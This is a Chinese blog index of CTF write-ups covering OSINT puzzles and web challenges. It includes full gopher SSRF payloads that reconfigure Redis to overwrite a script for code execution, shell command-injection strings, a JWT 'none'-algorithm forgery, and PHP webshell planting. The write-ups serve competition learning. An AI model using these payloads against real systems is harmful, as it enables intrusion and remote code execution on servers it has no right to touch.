2025新年红包题 | Writeup

拿到网站后先发现标题有东西,拿来看看 在打开审查元素的时候也发现了一行注释 访问看看 虽然这不重要,但是这很重要 页面信息利用完,感觉没什么进展了,那就扫扫目录吧 访问一下 (可能有人这里会吐槽这跟log有什么关系,但是故意放log就是因为它在dirsearch默认字典里比较靠后,就能让那些扫没两秒就退出的人做不出来^ ^) 留下这个pass,然后访问一下给的hint,来到一个wordpress 发现文章都需要密码,所以开始搜集信息。随便点进一片看一下能不能查看用户名 发现已经被修改过了,那就只能想别的办法。因为是wordpress,所以用wpscan扫一下 发现两个用户名 拿出刚才log页面的pass,需要再解一下 拿dondondonki登陆即可,进来后直接来到文章区域,把每一篇文章都看过去一遍后就能,在“等等,嘶”这篇文章下面发现了这两句话 结合hint1的“ssh不需要爆破”这个提示,推断这个端口应该是ssh端口。那么接下来就是拼接密码的osint过程 首先来看第一张,映入眼帘应该是一张从酒店内往酒店门口拍摄的视角,仔细看一下就能发现这个 根据常识可以得知是香港行政区旗🇭🇰,并且人口为750w小于1000w,因此第一个字符为h 第二篇文章的图片内没有什么文字描述或者明显的特征,只有一些长相比较特殊的植物,所以google搜图随手搜索一下 知道了名字,就问问ai 并且通过图中远处小屋可以推测是木质结构,在中国广西和云南等地才比较常见,不在蜂斗菜适宜生长环境内,因此中国的可能性可以排除。且根据后方地形判断此处以丘陵(300m以下)为主,不符合日本、韩国以山脉为主的地理特征,因此日本韩国也排除。最后就只剩俄罗斯了,人口大于1000万,因此第二个字符为R 第三篇文章,题中唯一存在的文字信息就是石柱上的牌子,但是有点模糊,有些单字需要猜测 大概可以拼出个antonio anostinho neto,直接放到google里可以发现是个人名,Agostinho Neto 并且位于安哥拉,搜索后人口为3393w,字符为A 第四篇文章和第二篇一样可利用信息很少,唯一知道的就是一条又长又笔直的公路和路上的 在上述ai给的地区中,结合图片宽广笔直的道路场景,只有美国和加拿大比较符合特征。 并且这里还设计到一个地区交通小常识,如果你是做osint的新手可以记录下来。就是高速路上单黄虚线更多地出现在加拿大,关于这点的更多解释可以看这篇2022 idek CTF wp中的image13。简单来说,就是google上有关单黄虚线长笔直高速路的搜索结果更多地指向加拿大,少部分位于中国西北和美国北部。因此这篇文章字符为C 第五篇文章,算是比较经典图寻坐标了,就是路边的这个小路标 这里我给大家提供一张geoguessr社区大神们总结出来的路标图作为参考 明显图示路标出现区域为波兰,由于这个路桩的唯一性,因此可以直接推测为波兰。字符为P 第六篇文章应该能算送分题,应该很多人第一眼就猜出是日本。原因就是左上角的制粉店招牌。但其实这并不是能断定是日本的唯一要素,因为这样的繁体字招牌有可能存在东亚地区很多个地方。所以为了严谨一点,我们就按照图寻的玩法排一下。 首先排除中国大陆和香港、澳门,因为这三个地区一个是使用简体,另两个是不可能存在这么长一条路都是空旷低矮的房屋。其次是台湾,这时候就得把图片拉大看一下远处的车辆 会发现这台车牌是黄色的,而通过搜索会发现台湾车牌主要以白色为主 因此最后可以定位到日本,字符为J 最后一篇,首先就是拿这台白车的车牌作为一个大致方位定位 但先不急,还有第二张图。第二张图内容显示是个靠海的国家,并且使用法语,再根据第一张图中有摩托车、棕榈树,并且房屋都比较低矮的特征来看,所在地应该是某个欠发达地区的热带,那么最再结合法语的使用,结合历史常识推测最有可能的就是非洲。并且根据后面的提示可以知道,这个国家曾在20世纪60年代独立,那么范围就更近一步缩小。 先把上世纪60年代独立的国家拉出来问一下ai,有没有符合图述内容的地方 ...

January 31, 2025 · 1 min · Red

软件系统安全赛 CachedVisitor | Writeup

第一次参加这个比赛,本以为是pwn赛,结果没想到是web最无敌的一集(有点可惜没把厦大刷下来= =) 拿到附件先起一个本地服务来打。apple silicon要指定amd64 main.lua的主要逻辑就是将visit.script的代码执行。visit.script的主要逻辑是将输入进来的url地址用lua的curl模块访问。并且会将页面访问结果保存到redis中。思路很简单,就是想办法利用redis来保存一个文件将visit.script覆盖掉,覆盖掉的内容就是要执行的lua反弹shell或者命令执行。 首先要先了解一下redis的一些常用指令和小常识,这里只介绍本题需要用到的 keys * --查看所有键值对 get keyname --查看该键的值 save --将当前 Redis 所有数据保存到文件里。文件名和路径在下面两个命令可以修改 CONFIG SET dbfilename yourfilename.rdb --设置save的文件名 CONFIG SET dir /var/lib/redis --设置save的保存目录 QUIT --退出redis命令行。这个很重要,一会儿就会用到 rdbcompression yes --在附件里给的redis配置文件第461行,主要作用就是开启rdb存储压缩。redis有两种持久化方式,一种叫rdb一种叫aof,有兴趣可以自查。并且,redis所有配置信息都可以在终端中用config get keyname的方式获取到 尝试访问一下file:///etc/passwd可以得到passwd 进容器的redis验证一下有没有把访问内容存下来。发现确实存了下来。 因为redis支持使用gopher协议控制,所以直接先用下面的payload梭一把试试 gopher://localhost:6379/_*2%0D%0A$3%0D%0AGET%0D%0A$18%0D%0Afile:///etc/passwd%0D%0A 这个格式是用gopher访问redis固定的,*2表示这一行命令里有2个参数,$3,$18表示参数长度,并且最后一定要加一个CRLF的换行。厨子编码时要注意把全编码钩上,不然会不符合gopher协议规范(具体原因可以看这篇博客:https://redshome.top/2023/01/13/58/)。现在我们发一波试试。 可以发现换了个timeout回来,当时和队友在这儿卡了有一段时间,一直以为是我语句构造出了问题,以至于错过了前3血= = 直到队友拿着这段payload在命令行尝试直接curl后拿到了下面这样的结果 我便恍然大悟,问题就出在请求成功后没有退出redis终端,于是便搜到了上面所说的QUIT指令。接下来就是改造完的payload gopher://localhost:6379/_%2A2%0D%0A%243%0D%0AGET%0D%0A%2418%0D%0Afile%3A%2F%2F%2Fetc%2Fpasswd%0D%0A%2A1%0D%0A%244%0D%0AQUIT%0D%0A%0D%0A 前后端均访问正常。最后再来测试一下save下来的数据长啥样 嘶,怎么感觉不太正常,好像存下来后和直接输出不太一样。这样可以不行,要是一会儿存下来的lua代码也变成这样那就执行不了了。当时队友“神之一手”一下就反应过来是压缩存储的问题,我们先把压缩存储关掉后再试一遍 无敌了,接下来就是走一遍最开始说的思路。首先是修改一下靶机的dbfilename,dir还有rdbcompression *4 $6 config $3 set $3 dir $8 /scripts *4 $6 config $3 set $10 dbfilename $12 visit.script *4 $6 config $3 set $14 rdbcompression $2 no *1 $4 QUIT gopher://localhost:6379/_%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%248%0D%0A%2Fscripts%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%2412%0D%0Avisit%2Escript%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2414%0D%0Ardbcompression%0D%0A%242%0D%0Ano%0D%0A%2A1%0D%0A%244%0D%0AQUIT%0D%0A%0D%0A ...

January 6, 2025 · 1 min · Red

24-25上半学年第二次线上赛 | Writeup

一样是部分wp,其他题不会可以来群上问 misc 鲨鱼 不懂如何使用wireshark先去把提示里的链接看了 拿到附件后可以直接用foremost分离 分离出一个压缩包但是要密码,所以我们先进流量包看 进来后随机选择一个http包,跟踪tcp流,就开始把每条流量分析过去 在stream 7发现一串有jpg头的16进制数据 并且是jpg文件尾 复制到cyeberchef梭一下就能出来 拿图片里的密码去解压缩包即可 web 一些黑客技巧 diresearch可以扫到admin目录,发现需要登陆 回到首页搜集信息,怀疑用户名存在madeline 根据题目名称,密码猜测是123456(如果没猜出密码,因为也可以爆破) 成功登陆 进来后点控制台->外观->编辑当前外观,会发现可以对php文件插入代码 直接插入一句马,蚁剑上线即可

December 11, 2024 · 1 min · Red

24-25上半学年第一次线上赛 | Writeup

Misc上课讲过就不写了= =好忙最近,如果有不会的再来群上问吧 触手可得 先看代码,首页只有这些,访问一下flag.php会发现没有内容,所以只能想办法利用下面的代码去拿到flag 很明显这里只要满足$key等于后面一大串就能拿到flag了,所以payload就是 你说上面那个什么md5是干嘛用的?你都知道这样问了,那当然是没用啦^ ^ 时间管理大师 如果你是24届竞赛组成员,可以先看个代码分析的大概逻辑,不一定需要全看懂。 先看入口 这里的spl_autoload_register搜了一下其实就是注册路由,访问什么就进到什么目录下 下面的route其实就是定义访问根路径时使用的路由,这里直接定位到controllers/TimeController.php里看一下逻辑 传入进来的format被赋值给$format,并被丢到TimeModel里处理了一下,这里跟进一下TimeModel类。 可以看到$format被直接与date '+和' 2&1拼接,其中2>&1的意思是将标准错误重定向到标准输出中,意思就是会把这一串指令前的指令执行错误的结果也一并显示回来。然后在刚刚的Timecontroller.php里可以看到后面它被直接丢到exec里作为系统指令执行并接收结果,最后返回输出给我们。所以我们可以通过对$format做手脚从而达到命令执行的效果 这里我们假设传入进来的内容是 ';ls||,则整句代码会变成这样 date '+';ls|| 2>&1 这样执行起来的结果我们可以在自己的linux里尝试一下 会发现执行成功。但一开始我想到用 ';ls;这样的方式没有执行成功,提示权限不足,原因是因为闭合后2>&1在等待你的输入但没有得到,所以会提示权限不足。 还有另一种解法的payload是 ';ls|cat ',这样闭合后的结果如下 date '+';ls|cat '' 2>&1 原理就是将ls的输出用cat显示回来给我们,所以就能达到执行的效果 没有人比我更懂JWT 附件只有一个python文件,先看逻辑 使用flask框架,定义了secret_key,但是是随机值,应该没法爆破 并且只有下面两个路由 先来看一下/login 接收两个变量,username和password,其中username被丢到jwt里进行加密,使用HS256算法。最后将加密完的jwt返回给我们。其中包含了一个比较关键的信息,也就是role后跟着的内容,也就是role的值,我们先记住。 /flag路由里首先会接收请求这个路由的用户所携带的jwt,然后对其进行解码后检验role的值是否是admin,是的话返回flag,不是就告诉我们只有admin才能访问 如果只按照代码的登录逻辑,没有找到可以将role值改成admin的地方。所以我们就要手动改,先随便登录一个账号获取到jwt。因为password后面都没用到所以就不用传。这里注意要把content-type改成json,因为data = request.json 接着丢到jwt.io里,改成admin,然后复制被赋值完的jwt 接着我们回到刚刚的代码,注意到一个地方 这里的options被设置成了不需要验证签名和exp的值,也就是说我们可以将加密算法修改成None,这样就能达到修改了role值还能通过解码的目的。原理如下(原文点击这里查看) 这里我们需要借助一款工具,jwt_tool。下载后,可以在使用文档中查看如何使用None攻击 照着格式填进去就可以生成修改后的jwt了 这里我们选择哪一个都可以。最后我们再根据代码构造一个Authorization就可以啦。不过要注意,根据代码,需要先写上你的用户名,再用一个空格加上jwt。这里我的用户名是1,所以结果就如下

December 5, 2024 · 1 min · Red

2024 强网杯 password game | Writeup

proxy那题是队友写的我就不记录了,不知道他后面会不会更新:https://blog.hayneschen.top/ 主要想记录password game这题 不听php课的每个人都会受到应有的惩罚 前面的游戏过程很简单,直接从拿到源码开始看 function filter($password){ $filter_arr = array("admin","2024qwb"); $filter = '/'.implode("|",$filter_arr).'/i'; return preg_replace($filter,"nonono",$password); } class guest{ public $username; public $value; public function __tostring(){ if($this->username=="guest"){ $value(); } return $this->username; } public function __call($key,$value){ if($this->username==md5($GLOBALS["flag"])){ echo $GLOBALS["flag"]; } } } class root{ public $username; public $value; public function __get($key){ if(strpos($this->username, "admin") == 0 && $this->value == "2024qwb"){ $this->value = $GLOBALS["flag"]; echo md5("hello:".$this->value); } } } class user{ public $username; public $password; public function __invoke(){ $this->username=md5($GLOBALS["flag"]); return $this->password->guess(); } public function __destruct(){ if(strpos($this->username, "admin") == 0 ){ echo "hello".$this->username; } } } $user=unserialize(filter($_POST['password'])); if(strpos($user->username, "admin") == 0 && $user->password == "2024qwb"){ echo "hello!"; } 比赛的时候乍一看感觉挺懵的,和传统的反序化掉用都不太一样,这里先不管反序化时的filter,先来看一下类 ...

November 5, 2024 · 1 min · Red